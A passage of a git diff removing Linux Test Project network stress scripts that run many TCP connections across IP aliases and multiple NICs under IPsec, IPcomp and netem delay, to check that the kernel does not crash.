testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11 deleted file mode 100644 index 1f231ee4..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip11 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip11 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12 deleted file mode 100644 index 165c6974..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip12 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip12 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13 deleted file mode 100644 index a9290fa0..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip13 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip13 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14 b/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14 deleted file mode 100644 index e82aab37..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip14 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffip14 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different IP address(alias) with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffip testcase -# - -# The test case ID -TCID=tcp6-multi-diffip14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffip01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/multi-diffnic/00_Descriptions.txt deleted file mode 100644 index 3fbe12af..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/00_Descriptions.txt +++ /dev/null @@ -1,125 +0,0 @@ -Verify that the kernel is not crashed with multiple connection to the -different NIC. - -tcp4-multi-diffnic01 - IPv4 - -tcp4-multi-diffnic02 - IPv4 - IPsec [ AH / transport ] - -tcp4-multi-diffnic03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-multi-diffnic04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-multi-diffnic05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-multi-diffnic06 - IPv4 - IPcomp [ transport ] - -tcp4-multi-diffnic07 - IPv4 - IPcomp [ tunnel ] - -tcp4-multi-diffnic08 - IPv4 - Network is delayed - -tcp4-multi-diffnic09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-multi-diffnic10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-multi-diffnic11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-multi-diffnic12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-multi-diffnic13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-multi-diffnic14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-multi-diffnic01 - IPv6 - -tcp6-multi-diffnic02 - IPv6 - IPsec [ AH / transport ] - -tcp6-multi-diffnic03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-multi-diffnic04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-multi-diffnic05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-multi-diffnic06 - IPv6 - IPcomp [ transport ] - -tcp6-multi-diffnic07 - IPv6 - IPcomp [ tunnel ] - -tcp6-multi-diffnic08 - IPv6 - Network is delayed - -tcp6-multi-diffnic09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-multi-diffnic10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-multi-diffnic11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-multi-diffnic12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-multi-diffnic13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-multi-diffnic14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/Makefile b/ltp/testcases/network/stress/tcp/multi-diffnic/Makefile deleted file mode 100644 index 93656284..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/multi-diffnic testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01 deleted file mode 100644 index 9fe34fd1..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic01 +++ /dev/null @@ -1,383 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic01 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-multi-diffnic01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with multiple connection to the different NIC." - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -#The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - -# true, if network is delayed -DO_NET_DELAY=${DO_NET_DELAY:-false} - -# Amount of network delay [ms] -NET_DELAY=${NET_DELAY:-600} - -# The deflection of network delay [ms] -NET_DELAY_DEFL=${NET_DELAY_DEFL:-200} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the tcp traffic server - killall_tcp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Clean up each interface - link_num=0 - while [ $link_num -lt $link_total ]; do - # Unset network delay - rhost_ifname=`get_ifname rhost $link_num` - $LTP_RSH $RHOST "PATH=/sbin:/usr/sbin:$PATH tc qdisc del dev $rhost_ifname root netem" >/dev/null 2>&1 - - # Initialize the interfaces - initialize_if lhost ${link_num} - initialize_if rhost ${link_num} - - link_num=`expr $link_num + 1` - done -} - - -#----------------------------------------------------------------------- -# -# Setup -# -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" - -link_total=`echo $LHOST_HWADDRS | wc -w` -rhost_link_total=`echo $RHOST_HWADDRS | wc -w` -if [ $link_total -ne $rhost_link_total ]; then - tst_resm TBROK "The number of element in LHOST_HWADDRS differs from RHOST_HWADDRS" - exit 1 -fi -if [ $link_total -lt 2 ]; then - tst_resm TBROK "This test case requires plural NICs." - exit 1 -fi -tst_resm TINFO "- Target number of the connection is $link_total" - -tst_resm TINFO "- Version of IP is IPv${IP_VER}" - -if $DO_NET_DELAY ; then - message=`check_netem` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - tst_resm TINFO "- Network delay is ${NET_DELAY}ms +/- ${NET_DELAY_DEFL}ms" -fi - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# Loop for NIC configuration -link_num=0 -lhost_addrs="" -while [ $link_num -lt $link_total ]; do - lhost_ifname=`get_ifname lhost $link_num` - # name of interface of the local/remote host - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL - fi - rhost_ifname=`get_ifname rhost $link_num` - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remtoe host" - exit $TST_TOTAL - fi - - # Set the IP address to each interface - case $IP_VER in - 4) - network_part="10.0.${link_num}" - network_mask=24 - lhost_host_part="2" # local host - rhost_host_part="1" # remote host - set_ipv4addr lhost $link_num $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv4 address at the local host" - exit 1 - fi - set_ipv4addr rhost $link_num $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv4 address at the remote host" - exit 1 - fi - - # IPv4 address of the local/remote host - lhost_addr="${network_part}.${lhost_host_part}" - rhost_addr="${network_part}.${rhost_host_part}" - lhost_addrs="${lhost_addrs} ${lhost_addr}" - ;; - - 6) - network_part="fd00:1:0:`printf %x ${link_num}`" - network_mask=64 - lhost_host_part=":2" # local host - rhost_host_part=":1" # remote host - add_ipv6addr lhost $link_num $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv6 address at the local host" - exit 1 - fi - add_ipv6addr rhost $link_num $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to set IPv6 address at the remote host" - exit 1 - fi - lhost_addr="${network_part}:${lhost_host_part}" - rhost_addr="${network_part}:${rhost_host_part}" - lhost_addrs="${lhost_addrs} ${lhost_addr}" - ;; - - *) - tst_resm TBROK "Unknown IP version" - ;; - esac - - # Make the network delay - if $DO_NET_DELAY ; then - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH tc' qdisc add dev $rhost_ifname root netem delay ${NET_DELAY}ms ${NET_DELAY_DEFL}ms distribution normal' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "Failed to make the delayed network" - exit 1 - fi - fi - - # Configure SAD/SPD - if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - - # Set SAD/SPD according to the variables - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - tst_resm TBROK "Failed to configure SAD/SPD on the local host." - exit 1 - fi - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - rm -f $ipsec_log - tst_resm TBROK "Failed to configure SAD/SPD on the remote host." - exit 1 - fi - rm -f $ipsec_log - fi - - # Make sure the connectivity - case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv4 connectivity on Link${link_num}" - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv6 connectivity on Link${link_num}" - exit 1 - fi - ;; - esac - - link_num=`expr $link_num + 1` -done - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Find the available consecutive ports -server_port=`find_portbundle tcp 1025 1` -if [ $? -ne 0 ]; then - tst_resm TBROK "No port is available." - exit 1 -fi - -# Run a server -info_file=`mktemp -p $TMPDIR` -ns-tcpserver -b -c -f $IP_VER -p $server_port -o $info_file -if [ $? -ne 0 ]; then - tst_resm TFAIL "Failed to run tcp traffic server." - rm -f $info_file - exit 1 -fi - -# Collect the information of the server -while true ; do - if [ -s $info_file ]; then - break - fi -done -server_pid=`grep PID: $info_file | cut -f 2 -d ' '` -rm -f $info_file - -# Main loop -connection_num=0 -while [ $connection_num -lt $link_total ]; do - field=`expr $connection_num + 1` - lhost_addr=`echo $lhost_addrs | cut -d ' ' -f $field` - - # Run a client - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-tcpclient -b -f $IP_VER -S $lhost_addr -p $server_port'; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TFAIL "Failed to run client on Link${connection_num}" - exit 1 - fi - connection_num=`expr $connection_num + 1` -done - -# Watch the TCP traffic server -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - - if [ $elapse_epoc -ge $NS_DURATION ]; then - break - else - ps auxw | fgrep ns-tcpserver | fgrep -l $server_pid >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "tcp traffic server is dead in $elapse_epoc [sec]" - exit 1 - fi - fi - sleep 1 -done - - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02 deleted file mode 100644 index 7233c901..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic02 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic02 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03 deleted file mode 100644 index 6b1861ef..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic03 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic03 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic03 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04 deleted file mode 100644 index 0a89c7e3..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic04 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic04 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05 deleted file mode 100644 index 267654d0..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic05 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffnic05 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp4-multi-diffnic05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp4-multi-diffnic06 deleted file mode 